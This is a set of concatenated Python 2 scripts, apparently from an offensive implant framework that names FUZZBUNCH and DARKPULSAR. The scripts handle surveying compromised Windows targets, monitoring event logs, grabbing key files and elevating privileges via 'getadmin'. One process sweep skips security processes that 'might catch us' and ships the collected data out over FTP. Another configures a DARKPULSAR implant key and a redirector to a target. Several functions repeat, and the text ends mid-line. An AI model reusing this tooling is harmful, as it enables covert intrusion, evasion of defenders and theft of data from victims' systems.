def setupEnv(reinitialize=False): dsz.env.Set('OPS_TIME', ops.timestamp()) dsz.env.Set('OPS_DATE', ops.datestamp()) for i in flags(): if ((not dsz.env.Check(i)) or reinitialize): ops.env.set(i, False) dszflags = dsz.control.Method() dsz.control.echo.Off() if (not dsz.cmd.Run('systempaths', dsz.RUN_FLAG_RECORD)): ops.error( "Could not get system paths. I'm confused. This means your OPS_TEMPDIR, OPS_WINDOWSDIR, and OPS_SYSTEMDIR environment variables are not set." ) else: dsz.env.Set( 'OPS_TEMPDIR', ntpath.normpath( dsz.cmd.data.Get('TempDir::Location', dsz.TYPE_STRING)[0])) dsz.env.Set( 'OPS_WINDOWSDIR', ntpath.normpath( dsz.cmd.data.Get('WindowsDir::Location', dsz.TYPE_STRING)[0])) dsz.env.Set( 'OPS_SYSTEMDIR', ntpath.normpath( dsz.cmd.data.Get('SystemDir::Location', dsz.TYPE_STRING)[0])) del dszflags
def execute(config, sections=None, quiet=False): if (not os.path.exists(config)): raise RuntimeError, ('%s not found.' % config) if (sections is None): sections = ops.survey.DEFAULT_SECTIONS ops.env.set('OPS_SIMPLE', False) ops.survey.setupEnv() success = True try: for i in sections: bugcatcher(( lambda: ops.survey.engines.run(fullpath=config, sections=[i])), bug_critical=True) except Exception as e: if wasCaught(e): success = False elif userQuitScript(e): ops.error('User quit script.') success = False else: raise print() ops.env.set('OPS_SIMPLE', True) if (not quiet): ops.info('Commands currently running in the background:') ops.override.commands.main() if (not success): sys.exit((-1))
def main(): parser = OptionParser() parser.add_option( '--maxage', dest='maxage', default='3600', help= 'Maximum age of information to use before re-running commands for this module', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Memory usage information') mem_cmd = ops.cmd.getDszCommand('memory') try: mem_data = ops.project.generic_cache_get( mem_cmd, cache_tag='MEMORY_USAGE_TAG', maxage=datetime.timedelta(seconds=options.maxage)) except ops.cmd.OpsCommandException as ex: ops.error(ex.message) return avail = (mem_data.memoryitem.physicalavail // (1024 * 1024)) total = (mem_data.memoryitem.physicaltotal // (1024 * 1024)) load = mem_data.memoryitem.physicalload ops.survey.print_agestring(mem_data.dszobjage) code = dsz.DEFAULT if (load > 90): code = dsz.ERROR elif (load > 50): code = dsz.WARNING dsz.ui.Echo(('Memory Load : %d%%' % load), code) dsz.ui.Echo(('Physical Available: %d M' % avail)) dsz.ui.Echo(('Physical Total : %d M' % total))
def main(): parser = ArgumentParser(prog='paperfind', description='\nProvides grep-like functionality for the \'handles\' command.\n\nRelative paths will (probably) never match. Use absolute or partial\npaths as though you are grepping. For full featured pattern matching,\nconsider the --regex option.\n\nIf the pattern you\'re searching for starts with a "-" character, place\na "-" by itself before beginning the pattern.\n\n e.g. %(prog)s -any - -filethatstartswithadash\n or %(prog)s - -filethatstartswithadash -any\n') parser.add_argument('pattern', help='Pattern or regular expression.') parser.add_argument('--regex', dest='regex', action='store_true', help='Treat the input pattern as a user-supplied regular expression instead of a simple string pattern.') parser.add_argument('--any', dest='any', action='store_true', default=False, help='Search all handle types instead of only file handles.') parser.add_argument('--data', dest='data_age', metavar='AGE', type=delta, default=datetime.timedelta(minutes=10), help='How old cached data can be before re-querying target. Use #d#h#m#s format. (Default 10m if unspecified).') handles_group = parser.add_argument_group(title='handles', description='Options that control how the handles command is run.') handles_group.add_argument('--id', dest='id', type=int10or16, help='Limit returned handle search to a particular process ID.') handles_group.add_argument('--all', dest='all', action='store_true', default=False, help='Search all available handle information. (Not recommended with this script; provides no benefit)') handles_group.add_argument('--memory', dest='memory', type=int10or16, help='Number of bytes to use for open handle list (defaults to handles default).') options = parser.parse_args() if options.regex: ops.info(('Searching using regex: %s' % options.pattern)) else: ops.info(('Searching for "%s"...' % options.pattern)) found = ops.system.handles.grep_handles(pattern=ntpath.normpath(options.pattern), id=options.id, all=options.all, memory=options.memory, regex=options.regex, any=options.any, maxage=options.data_age) if (int is type(found)): ops.error(('Error running handles command. Check logs for command ID %d.' % found)) sys.exit((-1)) elif (found is None): ops.error('Error running handles; command may not have been attempted.') sys.exit((-1)) elif (not found): ops.warn('No matches.') sys.exit((-1)) elif options.any: pprint(found, header=['PID', 'Handle', 'Type', 'Full Path'], dictorder=['process', 'handle', 'type', 'name']) else: pprint(found, header=['PID', 'Handle', 'Full Path'], dictorder=['process', 'handle', 'name'])
def main(): ops.info('Fetching installed applications') apps = packages(filterUpdates=True) if (not apps): ops.error('Error pulling installed applications.') else: pprint(apps, header=['Name', 'Version', 'Description', 'Install Date'], dictorder=['name', 'version', 'description', 'install_date']) print()
def main(): usage = 'Usage: python windows\\vget.py -args "-F [Full Path to File] -p [path to file] -m [mask] Optional: -t [bytes] -hex -nosend"\n\nOptions:\n-t [bytes] : grab last x bytes of file (tail)\n-nosend : move file to nosend dir\n-hex : open file in hex editor\n\nEx. python windows\\vget.py -args "-m connections.log -p C:\\Documents and Settings\\user\\logs -t 10000 -nosend"\nEx. python windows\\vget.py -args "-F C:\\Documents and Settings\\user\\logs\\connections.log -t 10000 -nosend -hex"' parser = ArgumentParser(usage=usage) parser.add_argument('-p', dest='path', nargs='+', action='store', default=False) parser.add_argument('-m', dest='mask', action='store', default=False) parser.add_argument('-F', dest='full_path', nargs='+', action='store', default=False) parser.add_argument('-t', dest='tail', type=int, action='store', default=False) parser.add_argument('--nosend', dest='nosend', action='store_true', default=False) parser.add_argument('--hex', dest='hex', action='store_true', default=False) options = parser.parse_args() if (len(sys.argv) == 1): print usage sys.exit(0) if (options.full_path == options.mask == False): ops.warn('No mask or full path specified! Need one or the other to execute.') sys.exit(0) mask = options.mask tail = options.tail nosend = options.nosend hex = options.hex getCmd = ops.cmd.getDszCommand('get') if options.full_path: full_path = ' '.join(options.full_path) getCmd.arglist.append(('"%s"' % full_path)) else: if options.path: path = ' '.join(options.path) getCmd.optdict['path'] = ('"%s"' % path) getCmd.optdict['mask'] = mask if tail: getCmd.arglist.append(('-tail %s' % tail)) getCmd.dszquiet = False getCmd.execute() getResult = getCmd.result id = getResult.cmdid for n in getResult.filestop: if (n.successful != 1): ops.error(('Get Failed; see cmdid %s or above output for more info' % id)) sys.exit(0) localName = '' for n in getResult.filelocalname: localName = n.localname fullLocalPath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles', localName) if (nosend == True): movePath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles\\NoSend', localName) moveCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c move %s %s"' % (fullLocalPath, movePath))) moveCmd.execute() fullLocalPath = movePath ops.info(('File moved to %s' % movePath)) if (hex == False): ops.info('Opening file with notepad++') showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\progra~1\\notepad++\\notepad++.exe %s"' % fullLocalPath)) else: ops.info('Opening file with hex editor') showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\Progra~1\\BreakP~1\\HexWor~1.2\\hworks32.exe %s"' % fullLocalPath)) showCmd.execute()
def monitorlogs(interval=300, classic=False, logname='', target=None, filters=[]): logquerycmd = 'eventlogquery ' if classic: logquerycmd += ' -classic ' elif (logname != ''): logquerycmd += (' -log %s ' % logname) if target: logquerycmd += (' -target %s ' % target) z = dsz.control.Method() dsz.control.echo.Off() (success, cmdid) = dsz.cmd.RunEx(logquerycmd, dsz.RUN_FLAG_RECORD) logsbase = ops.data.getDszObject(cmdid=cmdid).eventlog try: while True: dsz.Sleep((interval * 1000)) (success, cmdid) = dsz.cmd.RunEx(logquerycmd, dsz.RUN_FLAG_RECORD) stamp = dsz.Timestamp() newlogs = ops.data.getDszObject(cmdid=cmdid).eventlog for i in range(len(newlogs)): (oldlog, newlog) = (logsbase[i], newlogs[i]) if (newlog.mostrecentrecordnum > oldlog.mostrecentrecordnum): dsz.control.echo.Off() ops.info(('New logs in %s as of %s' % (oldlog.name, stamp))) try: newrecs = recordquery(logname=oldlog.name, start=(oldlog.mostrecentrecordnum + 1), end=newlog.mostrecentrecordnum, target=target) except: ops.error(('Error getting records for log %s' % oldlog.name)) traceback.print_exc(sys.exc_info()) continue if (not newrecs): ops.error(('Error getting records for log %s' % oldlog.name)) continue if (len(newrecs) > 0): ops.info(('-----------------New logs in %s-------------------' % oldlog.name)) for newrec in newrecs: print ('%d: %d - %s %s' % (newrec.number, newrec.id, newrec.datewritten, newrec.timewritten)) print ('User: %s --- Computer: %s' % (newrec.user, newrec.computer)) print ('Source: %s' % newrec.source) print ('Type: %s' % newrec.eventtype) stringslist = '' for strval in newrec.string: stringslist += (strval.value + ', ') print ('Strings: %s' % stringslist) print '---------------------------------------------------------' logsbase = newlogs except RuntimeError as ex: if (ex.args[0] == 'User QUIT SCRIPT'): ops.info('You quit monitoring') return except KeyboardInterrupt: ops.info('You hit Ctrl-D, which means you want to stop monitoring logs, so I am stopping') return
def main(): ops.survey.print_header('Uptime') uptime = ops.system.get_uptime() if (uptime is None): dsz.Sleep(5000) uptime = ops.system.get_uptime() if (uptime is None): ops.error( 'Could not properly find process list to calculate uptime, you might have to do the math on your own' ) return print(('Uptime: %d days, %d:%02d:%02d' % (uptime.days, (uptime.seconds / 3600), ((uptime.seconds / 60) % 60), (uptime.seconds % 60))))
def override(path, sections=DEFAULT_SECTIONS): realpath = os.path.join(ops.RESDIR, os.path.normpath(path)) if (not os.path.exists(realpath)): ops.error(('"%s" does not exist; override not enabled.' % realpath)) return False before = ops.env.get(ops.survey.OVERRIDE, addr='') if sections: new = ('%s:%s' % (path, sections)) else: new = path ops.env.set(ops.survey.OVERRIDE, new, addr='') ops.info('Override set.') print(('Before: %s' % before)) print(('After : %s' % new)) return True
def setupEnv(reinitialize=False): dsz.env.Set('OPS_TIME', ops.timestamp()) dsz.env.Set('OPS_DATE', ops.datestamp()) for i in flags(): if ((not dsz.env.Check(i)) or reinitialize): ops.env.set(i, False) dszflags = dsz.control.Method() dsz.control.echo.Off() if (not dsz.cmd.Run('systempaths', dsz.RUN_FLAG_RECORD)): ops.error("Could not get system paths. I'm confused. This means your OPS_TEMPDIR, OPS_WINDOWSDIR, and OPS_SYSTEMDIR environment variables are not set.") else: dsz.env.Set('OPS_TEMPDIR', ntpath.normpath(dsz.cmd.data.Get('TempDir::Location', dsz.TYPE_STRING)[0])) dsz.env.Set('OPS_WINDOWSDIR', ntpath.normpath(dsz.cmd.data.Get('WindowsDir::Location', dsz.TYPE_STRING)[0])) dsz.env.Set('OPS_SYSTEMDIR', ntpath.normpath(dsz.cmd.data.Get('SystemDir::Location', dsz.TYPE_STRING)[0])) del dszflags
def logquery(logname=None, target=None, classic=False, **params): cmd = 'eventlogquery ' if classic: cmd += ' -classic ' if (target is not None): cmd += (' -target %s ' % target) if (logname is not None): cmd += (' -log "%s" ' % logname) x = dsz.control.Method() dsz.control.echo.Off() (success, cmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD) if success: return ops.data.getDszObject(cmdid=cmdid) else: ops.error(('Your command "%s" failed to run, please see your logs for command ID %d for further details' % (cmd, cmdid))) return None
def _dodiff(dirres, filename, hashfunc=_statehash): previous = [] retval = [] recordfile = open(filename, 'r') try: for line in recordfile: previous.append(line[:(-1)]) except: ops.error('Could not open previous results') raise Exception('Could not open previous dir results for comparison') finally: recordfile.close() for modfile in _filterfilesbyname(dirres): if (hashfunc(modfile) not in previous): retval.append(modfile) return retval
def main(): last_run = ops.marker.get('GRABKEYS')['last_date'] if ((datetime.datetime.now() - last_run) <= RUN_PERIOD): ops.info(('grabKeys was run in the last %s, not running again' % str(RUN_PERIOD))) return answer = dsz.ui.Prompt(('Do you want to run grabKeys? Last run was %s' % last_run)) if (not answer): return masks = getMaskList() for mask in masks: try: getKeys(mask, last_run) except: ops.error(('Failed to get keys with mask "%s"' % mask)) traceback.print_exc() ops.info('All masks completed or at least attempted, marking grabKeys done') ops.marker.set('GRABKEYS')
def execute(self): (issafe, safetymsg) = self.safetyCheck() if issafe: return self._actual_execute() else: ops.error('Scripted command safety check failed!') ops.error(('Command: %s' % str(self))) ops.error(('Failure: %s' % safetymsg)) if self.override: override_run = dsz.ui.Prompt('Your command did not pass the safety check, do you still want to run it?', False) if override_run: return self._actual_execute() ops.error('The command will not be run')
def _dohour(mask='*', path='*', age='1h', recursive=True, safe=False, nodiff=False, noquiet=False, fromtime=None): dircmd = ops.cmd.getDszCommand('dir', mask=mask, path=path, recursive=recursive) if ((not safe) and (fromtime is None)): dircmd.age = ops.timehelper.get_age_from_seconds(ops.timehelper.get_seconds_from_age(age.lower())) elif safe: (dircmd.after, dircmd.before) = _getsafeword(age.lower()) elif (fromtime is not None): (dircmd.after, dircmd.before) = _getrangeword(age.lower(), fromtime) dircmd.norecord = nodiff dircmd.dszquiet = (not noquiet) ops.info(('Running %s' % dircmd)) dirobj = dircmd.execute() if (not dircmd.success): ops.error('=== Dir failed with following errors ===') for error in dirobj.commandmetadata.friendlyerrors[(-1)]: ops.error(error) return False if (not nodiff): return dirobj else: return True
def main(): if (len(sys.argv) < 2): return ops.error('You need to supply a command to run.') cmd = '' for i in sys.argv[1:]: cmd += (i + ' ') ops.info(('Timing the run time of "%s" (Note: no preloading occurs by the timer)' % cmd)) start = time.clock() if (not dsz.cmd.Run(cmd)): ops.warn('Command did not execute correctly. Your run time may be useless.') end = time.clock() ops.info(('Run time: %s' % datetime.timedelta(seconds=int((end - start)))))
def main(): from globalconfig import config import sendfile bad = [] with open(BAD_PROCS) as input: for i in input: bad.append(i.strip().lower()) procs = ops.processes.processlist.get_processlist() for proc in procs: if (proc.name.lower().strip() in bad): ops.warn(('Skipping PID %d (%s), something might catch us.' % (proc.id, proc.name))) continue elif ((proc.name == '') or (proc.name == 'System') or (proc.id == 0)): ops.info(('Skipping PID %d (%s)' % (proc.id, proc.name))) continue else: procinfo_cmd = ops.cmd.getDszCommand('processinfo', id=proc.id) procinfo_cmd.execute() if (procinfo_cmd.success != 1): ops.error(('Could not query process info for PID %d (%s)' % (proc.id, proc.name))) else: ops.info(('Got processinfo for PID %d (%s)' % (proc.id, proc.name))) ops.info('Copying up to FresStep...') xmldir = os.path.normpath(('%s/Data' % ops.LOGDIR)) files = util.listdir(xmldir, '.*processinfo.*\\.xml') tmpdir = os.path.join(config['paths']['tmp'], ('freshstep_%s_%s' % (ops.PROJECT, ops.TARGET_IP))) os.makedirs(tmpdir) ops.info(('Local temporary working directory: %s' % tmpdir)) for i in files: shutil.copy(os.path.normpath(('%s/%s' % (xmldir, i))), tmpdir) os.chmod((os.path.normpath('%s/%s') % (tmpdir, i)), (stat.S_IREAD | stat.S_IWRITE)) try: sendfile.main(tmpdir) except: import traceback traceback.print_exc() ops.error('Failed to copy fast.') shutil.rmtree(tmpdir) ops.info('Removed temporary files.') ops.cmd.quickrun(('warn \\"ProcessDeep completed for %s\\"' % ops.TARGET_ADDR))
def main(): flags = dsz.control.Method() dsz.control.echo.Off() if dsz.process.windows.IsSystem(): ops.info('Current user: System') dsz.env.Set('OPS_ALREADYPRIV', 'TRUE') return None if dsz.process.windows.IsInAdminGroup(): ops.info('Your process has Administrator rights.') dsz.env.Set('OPS_ALREADYPRIV', 'TRUE') return None dsz.env.Set('OPS_ALREADYPRIV', 'FALSE') ops.warn('You are not System and do not have Administrator privileges.') if (not dsz.ui.Prompt('Use JUMPUP to elevate?')): ops.warn('Did not elevate, probably for a good reason.') else: (success, id) = dsz.cmd.RunEx('getadmin') if success: ops.info(('Successfully elevated. Do not stop command ID %d or you will lose your blessing.' % id)) else: ops.error(('Could not elevate! See log for command ID %d for more information.' % id)) ops.error('Be sure you know what you can and cannot do.')
def main(): parser = OptionParser() parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of information to use before re-running commands for this module', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Networking Information') print() ops.survey.ifconfig.main(options, args) ops.survey.print_sub_header('Route table') route_data = ops.networking.route.get_routes(maxage=datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(route_data.dszobjage) pprint(route_data.route, dictorder=['destination', 'networkmask', 'gateway', 'interface', 'metric', 'origin'], header=['Dest. network', 'Mask', 'Gateway', 'Interface', 'Metric', 'Origin']) ops.survey.print_sub_header('ARP table') try: arp_data = ops.networking.connections.get_arp_cache(maxage=datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(arp_data.dszobjage) pprint(arp_data.entry, dictorder=['ip', 'type', 'adapter', 'mac'], header=['IP', 'Type', 'Interface', 'MAC']) except ops.cmd.OpsCommandException as ex: ops.error('Error occurred running ARP command') ops.error(ex) ops.survey.print_sub_header('Getting the pipelist in the background') pipe_data = ops.networking.connections.get_pipes(maxage=datetime.timedelta(seconds=options.maxage)) ops.survey.print_sub_header('NETBIOS') netbios_cmd = ops.cmd.getDszCommand('netbios', dszquiet=False) netbios_cmd.execute() if dsz.ui.Prompt('Do you want to run background netmap -minimal?'): sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta(seconds=options.maxage)) if (sysver.versioninfo.major > 5): dsz.ui.Echo("Netmap will require user credentials (and probably won't work on 2K8)", dsz.WARNING) dsz.ui.Echo('If you want to run netmap, you have to go run "duplicatetoken -duplicate" or logonasuser for me', dsz.WARNING) get_creds = dsz.ui.Prompt('Do you want to do this?') if get_creds: userhandle = dsz.ui.GetString('Please enter the user handle you were given by duplicatetoken or logonasuser I should use (i.e. proc1234)') netmap_data = ops.networking.netmap.get_minimal_netmap(maxage=datetime.timedelta(seconds=options.maxage), cmd_options={'dszbackground': True, 'dszuser': userhandle}) else: ops.warn("Can't get netmap without creds") else: netmap_data = ops.networking.netmap.get_minimal_netmap(maxage=datetime.timedelta(seconds=options.maxage), cmd_options={'dszbackground': True}) else: netmap_data = None
def emkg_plist(ip, dszquiet=False): flags = dsz.control.Method() if dszquiet: dsz.control.quiet.On() dsz.control.echo.Off() cmd = ops.cmd.getDszCommand('processes', dszuser=ops.cmd.CURRENT_USER, list=True, target=(ip if (ip != '127.0.0.1') else None)) ops.info(("Running '%s'..." % cmd)) result = cmd.execute() if (not cmd.success): if (result.commandmetadata.status == 268435456): ops.error(('Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid)) del flags return None elif (result.commandmetadata.status is None): dszlogger = DSZPyLogger() log = dszlogger.getLogger(LOGFILE) log.error('Command did not execute, possibly the result of a malformed command line.') ops.info('A problem report has been automatically generated for this issue.', type=dsz.DEFAULT) else: ops.error(('Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid)) del flags return None table = [] echo = [] for processitem in result.initialprocesslistitem.processitem: if ((processitem.id == 0) and (processitem.parentid == 0)): name = 'System Idle Process' else: name = processitem.name [code, comment] = check_process(name) table.append({'Path': processitem.path, 'Process': name, 'PID': processitem.id, 'PPID': processitem.parentid, 'Created': ('' if ((processitem.name == 'System') or (processitem.name == 'System Idle Process')) else ('%s %s %s' % (processitem.created.date, processitem.created.time, processitem.created.type.upper()))), 'Comment': comment, 'User': processitem.user}) echo.append(code) if ((ip is None) or (ip == '127.0.0.1')): pprint(table, dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'User', 'Comment'], echocodes=echo) else: pprint(table, dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'Comment'], echocodes=echo) del flags return result
def main(): parser = OptionParser() parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of information to use before re-running commands for this module', type='int') (options, args) = parser.parse_args() ops.survey.print_header('Memory usage information') mem_cmd = ops.cmd.getDszCommand('memory') try: mem_data = ops.project.generic_cache_get(mem_cmd, cache_tag='MEMORY_USAGE_TAG', maxage=datetime.timedelta(seconds=options.maxage)) except ops.cmd.OpsCommandException as ex: ops.error(ex.message) return avail = (mem_data.memoryitem.physicalavail // (1024 * 1024)) total = (mem_data.memoryitem.physicaltotal // (1024 * 1024)) load = mem_data.memoryitem.physicalload ops.survey.print_agestring(mem_data.dszobjage) code = dsz.DEFAULT if (load > 90): code = dsz.ERROR elif (load > 50): code = dsz.WARNING dsz.ui.Echo(('Memory Load : %d%%' % load), code) dsz.ui.Echo(('Physical Available: %d M' % avail)) dsz.ui.Echo(('Physical Total : %d M' % total))
def main(): if (len(sys.argv) < 2): return ops.error('You need to supply a command to run.') cmd = '' for i in sys.argv[1:]: cmd += (i + ' ') ops.info(( 'Timing the run time of "%s" (Note: no preloading occurs by the timer)' % cmd)) start = time.clock() if (not dsz.cmd.Run(cmd)): ops.warn( 'Command did not execute correctly. Your run time may be useless.') end = time.clock() ops.info(('Run time: %s' % datetime.timedelta(seconds=int((end - start)))))
def main(args): if ((args.keyfile is None) or (args.target is None)): ops.error( 'You must provide a keyfile and a target IP, please try again with -k and -t' ) return confxml = ElementTree() configxmlfilename = os.path.join(dsz.lp.GetResourcesDirectory(), '..', 'implants', 'Darkpulsar-1.0.0.0.xml') confxml.parse(configxmlfilename) f = open(args.keyfile) try: newkey = f.read() except Exception as ex: ops.error('Error reading keyfile') raise ex finally: f.close() for ele in confxml.findall('{urn:trch}inputparameters'): for subele in ele.findall('{urn:trch}parameter'): if (subele.get('name') == 'SigPrivateKey'): for keyele in subele.findall('{urn:trch}default'): keyele.text = newkey outfile = open(configxmlfilename, 'w') try: confxml.write(outfile) except Exception as ex: ops.error('Could not update the FUZZBUNCH config for DAPU') raise ex finally: outfile.close() redirport = 0 dsz.control.echo.Off() (success, cmdid) = dsz.cmd.RunEx('local netconnections', dsz.RUN_FLAG_RECORD) dsz.control.echo.On() print cmdid conns = ops.data.getDszObject( cmdid=cmdid).initialconnectionlistitem.connectionitem while (redirport == 0): redirport = random.randint(10000, 65500) for conn in conns: if (conn.local.port == redirport): redirport = 0 break dsz.cmd.Run(('redirect -tcp -lplisten %d -target %s %s' % (redirport, args.target, args.port))) ops.info(( 'Your redirector has been started, local listening port to connect for DAPU is %d' % redirport)) ops.info( 'You can now start FUZZBUNCH to connect to DARKPULSAR. If you already launched FUZZBUNCH, you will need to start it again' )
def pulist(ip, dszquiet=False): flags = dsz.control.Method() if dszquiet: dsz.control.quiet.On() dsz.control.echo.Off() cmd = ops.cmd.getDszCommand('performance', dszuser=ops.cmd.CURRENT_USER, data='Process', bare=True, target=(ip if (ip != '127.0.0.1') else None)) ops.info(("Running '%s'..." % cmd)) result = cmd.execute() if (not cmd.success): if (result.commandmetadata.status == 268435456): ops.error(('Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid)) del flags return None elif (result.commandmetadata.status is None): dszlogger = DSZPyLogger() log = dszlogger.getLogger(LOGFILE) log.error('Command did not execute, possibly the result of a malformed command line.') ops.info('A problem report has been automatically generated for this issue.', type=dsz.DEFAULT) else: ops.error(('Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid)) del flags return None if (not result.performance.object): ops.error(('Query succeeded but returned no data. Check your logs for command ID %d and hope for enlightenment.' % result.cmdid)) regex = re.compile('.+\\....$') table = [] echo = [] uptime = None for instance in result.performance.object[0].instance: if (regex.match(instance.name) is None): proc = (instance.name + '.exe') else: proc = instance.name for c in instance.counter: if (c.name == '784'): pid = int(c.value) elif (c.name == '1410'): ppid = int(c.value) elif (c.name == '684'): runtime = datetime.timedelta(microseconds=((result.performance.perfTime100nSec - int(c.value)) // 10)) if (((pid == 0) and (ppid == 0) and (instance.name == 'Idle')) or (((pid == 4) or (pid == 8)) and (instance.name == 'System'))): [code, comment] = [dsz.DEFAULT, ('System Idle Counter' if (instance.name == 'Idle') else 'System Kernel')] elif ((pid == 0) and (ppid == 0) and (instance.name == '_Total') and (runtime == datetime.timedelta(microseconds=0))): continue else: [code, comment] = check_process(proc) table.append({'Process': instance.name, 'PID': pid, 'PPID': ppid, 'Comment': comment, 'Elapsed Time': runtime}) echo.append(code) pprint(table, dictorder=['PID', 'PPID', 'Elapsed Time', 'Process', 'Comment'], echocodes=echo) del flags return result
def recordquery(logname=None, start=None, end='', **params): if (logname is None): ops.error('You must specify a log to query records') return None if (start is None): ops.error('You must specify record numbers to query records') return None cmd = ('eventlogquery -log "%s" -record %d %s' % (logname, start, end)) if (('target' in params) and (params['target'] is not None)): cmd += (' -target %s' % params['target']) x = dsz.control.Method() dsz.control.echo.Off() (success, cmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD) if success: return ops.data.getDszObject(cmdid=cmdid).record else: ops.error(('Your command "%s" failed to run, please see your logs for command ID %d for further details' % (cmd, cmdid))) return None
def main(args): if ((args.keyfile is None) or (args.target is None)): ops.error('You must provide a keyfile and a target IP, please try again with -k and -t') return confxml = ElementTree() configxmlfilename = os.path.join(dsz.lp.GetResourcesDirectory(), '..', 'implants', 'Darkpulsar-1.0.0.0.xml') confxml.parse(configxmlfilename) f = open(args.keyfile) try: newkey = f.read() except Exception as ex: ops.error('Error reading keyfile') raise ex finally: f.close() for ele in confxml.findall('{urn:trch}inputparameters'): for subele in ele.findall('{urn:trch}parameter'): if (subele.get('name') == 'SigPrivateKey'): for keyele in subele.findall('{urn:trch}default'): keyele.text = newkey outfile = open(configxmlfilename, 'w') try: confxml.write(outfile) except Exception as ex: ops.error('Could not update the FUZZBUNCH config for DAPU') raise ex finally: outfile.close() redirport = 0 dsz.control.echo.Off() (success, cmdid) = dsz.cmd.RunEx('local netconnections', dsz.RUN_FLAG_RECORD) dsz.control.echo.On() print cmdid conns = ops.data.getDszObject(cmdid=cmdid).initialconnectionlistitem.connectionitem while (redirport == 0): redirport = random.randint(10000, 65500) for conn in conns: if (conn.local.port == redirport): redirport = 0 break dsz.cmd.Run(('redirect -tcp -lplisten %d -target %s %s' % (redirport, args.target, args.port))) ops.info(('Your redirector has been started, local listening port to connect for DAPU is %d' % redirport)) ops.info('You can now start FUZZBUNCH to connect to DARKPULSAR. If you already launched FUZZBUNCH, you will need to start it again')
for fullpath in getlist: command = ('get "%s"' % fullpath) dsz.cmd.Run(command, dsz.RUN_FLAG_RECORD) def main(): last_run = ops.marker.get('GRABKEYS')['last_date'] if ((datetime.datetime.now() - last_run) <= RUN_PERIOD): ops.info(('grabKeys was run in the last %s, not running again' % str(RUN_PERIOD))) return answer = dsz.ui.Prompt(('Do you want to run grabKeys? Last run was %s' % last_run)) if (not answer): return masks = getMaskList() for mask in masks: try: getKeys(mask, last_run) except: ops.error(('Failed to get keys with mask "%s"' % mask)) traceback.print_exc() ops.info('All masks completed or at least attempted, marking grabKeys done') ops.marker.set('GRABKEYS') if (__name__ == '__main__'): try: main() except: ops.error('Grabkeys had a major failure') traceback.print_exc() problemText = str(sys.exc_info()) dszLogger = DSZPyLogger() toolLog = dszLogger.getLogger('grabkeys') toolLog.log(10, problemText)
osver = SafeConfigParser() osver.add_section('OsVersionInfo') osver.set('OsVersionInfo', 'Platform', systemversion.versioninfo.friendlyplatform) osver.set('OsVersionInfo', 'ServicePack', systemversion.versioninfo.extrainfo) with open(os.path.join(randDir, 'pcid-osversioninfo.txt'), 'w') as output: osver.write(output) shutil.copy(os.path.join(dataDir, 'config.xml'), randDir) shutil.copy(os.path.join(dataDir, 'exec.properties'), randDir) shutil.copy(os.path.join(dataDir, 'public_key.bin'), randDir) shutil.copy(os.path.join(dataDir, 'private_key.bin'), randDir) tempzipname = ('%s-%s-%s-PCID.zip' % (options.userID, options.project, gmtStamp)) try: sendfile.main(randDir, outfilename=tempzipname) except: print() ops.error('It looks like you failed to FTP... sad.') pcversion = '<unknown>' with open(os.path.join(dataDir, 'exec.properties'), 'r') as input: for line in input: property = line.strip().split(':') if ((len(property) == 2) and (property[0] == 'version')): pcversion = property[1] break if options.rename: renamed = ('%s.sent-%s' % (options.payDir, gmtStamp)) os.rename(options.payDir, renamed) if options.verbose: ops.info(("Renamed payload directory to '%s'" % renamed)) print() dsz.ui.Echo('------------------------------------------------------------', dsz.WARNING) print(('User ID : %s' % options.userID))
parser.add_option('-p', '--reg', '--pulist', dest='reg', default=False, action='store_true', help='Remote: Use the remote registry (pulist) method to query process information via the performance hive. Current: Directly queries the performahce hive.') (options, args) = parser.parse_args() if args: parser.print_help() parser.error('Not all arguments consumed by the beast.') if (not (options.wmi ^ options.reg)): parser.print_help() parser.error('One of --wmi or --reg must be specified so I know what to do.') if (options.target is None): if (not dsz.ui.Prompt('No target provided. Did you really mean to run this against localhost?', False)): sys.exit((-1)) if ((options.target is not None) and options.target.startswith('\\\\')): options.target = options.target[2:] ops.info(("A \\\\ is not required. I assume you mean '%s' as your target IP." % options.target)) if ((options.target is not None) and (not util.ip.validate(options.target))): ops.error(("Your target '%s' does not appear to be a proper IP address. Try again." % options.target)) sys.exit((-1)) if options.wmi: func = emkg_plist elif options.reg: func = pulist else: raise RuntimeError, "How'd you get here? You get a prize!" try: ret = func(options.target, dszquiet) except Exception as e: dszlogger = DSZPyLogger() log = dszlogger.getLogger(LOGFILE) log.error(traceback.format_exc()) ops.info('Unexpected things happened. A problem report has been automatically generated for this issue.', type=dsz.DEFAULT) ret = False
parser.add_option('--name', dest='name', help='Module name for friendly printing.') parser.add_option('--marker', dest='marker', help='Marker identifier for marking completion/errors.') parser.add_option('--resource', dest='resource', help='Resource library to search in; only necessary if the module exists outside of the default import paths.') parser.add_option('--pyscripts', dest='pyscripts', default=False, action='store_true', help='Module import path is relative to the PyScripts folder, instead of PyScripts/Lib.') parser.add_option('--run_name', dest='run_name', default=ops.survey.PLUGIN, help='__name__ of module during run.') dash = (-1) for i in range(len(sys.argv)): if (sys.argv[i] == '-'): dash = i break args = '' if (dash > (-1)): args = sys.argv[dash:] sys.argv = sys.argv[0:dash] (options, extraneous) = parser.parse_args() if extraneous: ops.survey.error(options.marker) parser.error('Not all arguments converted to anything useful.') if (options.module is None): parser.error('Need a module to event attempt to be useful.') if options.resource: path = os.path.join(ops.RESDIR, options.resource, 'PyScripts') if (not options.pyscripts): path 